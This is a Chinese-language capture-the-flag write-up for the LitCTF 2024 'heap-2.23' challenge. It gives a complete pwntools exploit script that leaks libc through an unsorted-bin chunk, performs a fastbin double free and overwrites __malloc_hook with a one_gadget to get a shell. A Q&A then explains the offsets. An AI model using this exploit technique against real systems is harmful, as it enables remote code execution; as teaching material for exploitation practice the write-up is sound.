Problem: [LitCTF 2024]heap-2.23
思路
- 解题大致思路
delete()中内存块被释放后,其对应的指针没有被设置为 NULL,存在UAF漏洞,且题目为libc-2.23.so
修改 malloc__hook 为 one_gadget
EXP
- 具体攻击代码
from pwn import * context(os="linux", arch="amd64", log_level="debug") #io = process("./heap") io = remote("node4.anna.nssctf.cn", 28504) elf = ELF("./heap") libc = ELF("./libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug(): gdb.attach(io) pause() def add(index, size): sla(b">>", b"1") sla(b"idx? ", str(index).encode()) sla(b"size?", str(size).encode()) def free(index): sla(b">>", b"2") sla(b"idx?", str(index).encode()) def show(index): sla(b">>", b"3") sla(b"idx?", str(index).encode()) def edit(index, content): sla(b">>", b"4") sla(b"idx?", str(index).encode()) sla(b"content :", content) add(0, 0x80) ## 释放的chunk大于0x80,大于 fastbin,第一次 free 的时候,都会先进入 unsorted bin add(1, 0x10) ## 让 idx 0 这块chunk在 free 时不与 top chunk 合并**,从而必然被挂到 unsorted bin free(0) ## 进入 unsorted bin ,chunk的Fd和Bk都会指向 (main_arena + 0x58) show(0) ## show()没有检查chunk的 inuse 状态,由于堆中的空间复用机制,会将 Fd 和 Bk 当作 use_data 打印出来 libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3c4b78 ## libc 偏移:main_arena+0x58 在 2.23 常见为 0x3c4b78 ls(hex(libc_base)) one_gadget = [0x4527a, 0xf03a4, 0xf1247] ogg = libc_base + one_gadget[2] malloc_hook = libc_base + libc.sym['__malloc_hook'] add(2, 0x60) add(3, 0x60) free(2) free(3) ## 2.23 对 fastbin 的 double free 只阻止“连续两次释放同一指针”,所以用 free(A); free(B); free(A) 绕过 free(2) ## free(A); free(B); free(A) → fastbin 单链表变成:A -> B -> A(形成环头) edit(2, p64(malloc_hook - 0x23)) ## UAF:把 A 的 FD 指成 (__malloc_hook - 0x23) add(4, 0x60) ## -> A add(5, 0x60) ## -> fake @ (__malloc_hook - 0x23) edit(5, b"a"*(0x13) + p64(ogg)) ## 'a'*0x13 + p64(ogg) 就是把第 0x13 个字节处正好覆盖到 __malloc_hook add(6, 18) ia()
新人开始学习时的疑问
1. 泄露libc时,为什么要freed chunk 进 unsorted bin,其指针fd/bk 指向 main_arena,free chunk进入其他bins不行吗?比如fastbin,largebin
free 到 fastbin:
fastbin chunk 的fd并不是 libc 的地址,而只是链表里下一个 chunk 的指针(属于 heap 空间)。所以从 fastbin 无法直接泄露 libc。free 到 smallbin / largebin:
这些 bin 的fd/bk会被设置为同 size bin 里的其它 chunk,只有在第一次进入 unsorted bin → 被切分/转移到 small/large bin 时,才会顺带写入 arena 指针。
单独 smallbin/largebin 的链表指针里不直接有main_arena,而是别的 chunk 地址(仍然在 heap),也没法稳定算 libc 基址。free 到 unsorted bin:
unsorted bin 是 free 后“第一落点”,glibc 会把 freed chunk 的fd、bk填成main_arena的地址(main_arena+88、main_arena+0x10之类的)。这就给了我们一个稳定的 libc 内部指针。
所以 PWN 常用套路是:
- 先 free 一个 non-fastbin 大小的 chunk(如 0x80 → 实际 size=0x90)。
- 它必定进 unsorted bin,fd/bk 指针必定指向
main_arena。- 读出来一算偏移,就得到 libc 基址。
👉 总结:
只有 unsorted bin 能“直接泄露 libc”,fastbin/smallbin/largebin 单独都不行。
这就是为什么几乎所有 2.23 的泄露 libc 脚本里都会先 free 一个 ~0x80/0x100 大小的块。
2. 为什么要其 FD 改为 __malloc_hook - 0x23,后面为什么要'A'*0x13 + p64(one_gadget),才能刚好把 __malloc_hook 覆盖为 one_gadget,为什么这样可以让让用户数据区中第一个 8 字节 正好对齐落在 __malloc_hook 上?
这涉及到 堆 chunk 结构 和 malloc_hook 前面的对齐情况。
(1) chunk 内存布局回顾
以 size=0x70(请求 0x60) 的 fastbin 为例:
chunk header (16B) [ prev_size ] (仅当 inuse=0时有效) [ size ] user data ...所以你拿到的
ptr = malloc(0x60)实际上返回的是 数据区起始,而不是 header。(2) 我们伪造 chunk →
malloc_hook-0x23为什么
-0x23?
- malloc 在从 fastbin 拿出 chunk 时,只要保证对齐和 size 符合,它就会把 FD 当成“下一个 chunk 地址”。
- 我们希望 malloc 返回的用户指针 正好对齐到一个能覆盖
__malloc_hook的地方。- 而在 glibc-2.23 中,
__malloc_hook附近布局是:... 一些内部变量 ... __realloc_hook __malloc_hook ← 我们想覆盖的目标
- 如果直接把 FD 改成
__malloc_hook,那么返回的ptr会从__malloc_hook+0x10开始(因为还要加上 header 大小对齐)。就对不准。- 所以要减去一个合适的偏移(
0x23)让 malloc 返回的 用户数据起点,经过计算后落在__malloc_hook的前面。这样我们在用户数据里写第0x13个字节,就刚好覆盖到__malloc_hook。(3) 为什么是
'A'*0x13 + p64(one_gadget)?
- malloc 返回的“fake chunk”的数据区其实是从
__malloc_hook-0x23 + 0x10 = __malloc_hook-0x13开始的。- 换句话说,用户数据的起始位置比
__malloc_hook早 0x13 字节。fake_chunk->user_data: [0x00 ... 0x12] 19字节 padding [0x13 ... 0x1A] <-- 这里正好是 __malloc_hook
- 所以你必须先填充
'A'*0x13把位置“走过去”,接下来写的 8 字节才正好覆盖__malloc_hook。(4) 整个效果
edit(5, b"A"*0x13 + p64(one_gadget))
→ 前面 0x13 个字节无所谓
→ 紧接着的 8 字节,准确落在__malloc_hook上,改成one_gadget地址。- 再次 malloc → 触发
__malloc_hook→ 跳进one_gadget→ shell。👉 总结一句:
-0x23是为了让 malloc 返回的 fake chunk user_data 比__malloc_hook早 0x13;
'A'*0x13 + p64(one_gadget)就是把第 0x13 个字节处正好覆盖到__malloc_hook。
总结
- 对该题的考点总结
